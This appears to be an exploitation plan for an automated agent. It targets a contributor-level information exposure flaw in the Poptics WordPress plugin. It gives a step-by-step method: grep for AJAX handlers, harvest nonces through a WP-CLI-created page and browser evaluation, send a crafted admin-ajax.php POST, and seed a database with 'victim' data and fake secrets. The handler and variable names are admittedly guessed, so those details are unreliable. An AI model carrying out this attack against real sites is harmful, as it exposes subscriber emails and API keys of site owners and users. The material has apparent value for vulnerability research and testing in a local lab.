Poptics <= 1.0.20 - Authenticated (Contributor+) Information Exposure

This research plan focuses on identifying and exploiting an information exposure vulnerability in the Poptics plugin (<= 1.0.20). Since specific source code was not provided, the plan is designed to guide an automated agent through discovery and exploitation based on standard WordPress plugin patterns and the vulnerability's description.

---

1. Vulnerability Summary

The Poptics plugin fails to properly restrict access to administrative AJAX handlers or REST API endpoints. Authenticated users with Contributor-level permissions or higher can invoke specific actions that return sensitive information, such as subscriber email lists, WooCommerce customer data (if integrated), or internal plugin configurations (API keys, etc.). The vulnerability exists because the capability check used in the affected handler is either missing or too permissive (e.g., using edit_posts or read instead of manage_options).

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php (Primary suspect) or wp-json/poptics/v1/... (Secondary suspect).
• Vulnerable Action: An AJAX handler likely named poptics_get_data, poptics_fetch_subscribers, poptics_get_entries, or poptics_settings_get (inferred).
• Authentication: Contributor-level user (or higher).
• Parameter: action (for AJAX) or the REST route path.
• Preconditions: The plugin must be active. For maximum impact, some data (subscribers or settings) should exist in the database.

3. Code Flow (Discovery Phase)

Since the exact function names are not provided, the agent must first identify the sink:

1. Identify AJAX Handlers:
   Search for AJAX registrations in the plugin directory:

   grep -r "wp_ajax_poptics_" .
   

2. Analyze Capability Checks:
   For each identified handler, locate the callback function and inspect the security check:

   // Example of what to look for:
   public function vulnerable_handler() {
       // VULNERABLE: Only checks for 'edit_posts', which Contributors have.
       if ( ! current_user_can( 'edit_posts' ) ) {
           wp_die();
       }
       $data = get_option('poptics_subscribers'); // Or database query
       wp_send_json_success($data);
   }
   

3. Target Sink: Look for functions that call get_option, get_results (on tables like wp_poptics_...), or wp_send_json without a manage_options check.

4. Nonce Acquisition Strategy

If the identified AJAX handler uses check_ajax_referer or wp_verify_nonce, the agent must retrieve a valid nonce.

1. Identify Nonce Action: Look at the wp_create_nonce call in the PHP source (usually in an admin or public enqueue function).
2. Find Localization Key: Search for wp_localize_script to find the JavaScript object name.
   • Likely Variable: poptics_admin, poptics_vars, or poptics_ajax_obj (inferred).
   • Likely Key: nonce or ajax_nonce.
3. Create Trigger Page: If the nonce is only loaded on specific pages (like the Poptics dashboard or a page with a popup), use WP-CLI to create a post with a Poptics shortcode:

   # Find shortcodes
   grep -r "add_shortcode" .
   # Create page (replace shortcode name)
   wp post create --post_type=page --post_status=publish --post_content='[poptics_popup id="1"]' --post_title='Poptics Test'
   

4. Extract via Browser:
   • Navigate to the created page as the Contributor user.
   • Run browser_eval("window.poptics_admin?.nonce") (Verify variable name in source first).

5. Exploitation Strategy

Once the action and nonce are identified:

1. Prepare Payload:
   • action: Identified vulnerable action (e.g., poptics_get_subscribers).
   • security or _ajax_nonce: The extracted nonce.
   • Additional parameters if required (e.g., limit=100).
2. Execute Request: Use http_request as the Contributor user.

   {
     "method": "POST",
     "url": "http://localhost:8080/wp-admin/admin-ajax.php",
     "headers": {
       "Content-Type": "application/x-www-form-urlencoded"
     },
     "body": "action=VULNERABLE_ACTION_NAME&security=NONCE_VALUE"
   }
   

3. Analyze Response: A successful exploit will return a 200 OK with a JSON body containing sensitive data.

6. Test Data Setup

To confirm information exposure, the environment must contain information to expose:

1. Add Subscriber: Use WP-CLI or the plugin UI to add a dummy subscriber.

   # Inferred table name based on plugin slug
   wp db query "INSERT INTO wp_poptics_subscribers (email, name) VALUES ('victim@example.com', 'Victim User');"
   

2. Add Settings: Ensure plugin settings are configured.

   wp option update poptics_settings '{"api_key": "SECRET_KEY_12345", "mailchimp_token": "SENSITIVE_TOKEN"}'
   

3. Create Contributor:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

7. Expected Results

• Vulnerable Response: A JSON object containing email addresses, names, or configuration secrets that should only be visible to administrators.
• Status Code: 200 OK.
• Content-Type: application/json.

8. Verification Steps

After receiving the HTTP response, verify the data matches the database:

1. Verify via CLI:

   wp option get poptics_settings
   # OR
   wp db query "SELECT * FROM wp_poptics_subscribers;"
   

2. Compare the output of the CLI commands with the data leaked in the http_request response.

9. Alternative Approaches

If the AJAX route is protected:

• REST API: Check register_rest_route calls. If the permission_callback returns __return_true or only checks current_user_can('read'), the REST API is the primary vector.
• Shortcode Leakage: Check if the plugin's shortcode output includes sensitive metadata in the HTML (e.g., JSON blobs for popup initialization that include more data than necessary).
• Export Scripts: Look for standalone PHP files in the includes/ or admin/ directory that might not initialize the full WordPress security stack (Direct File Access).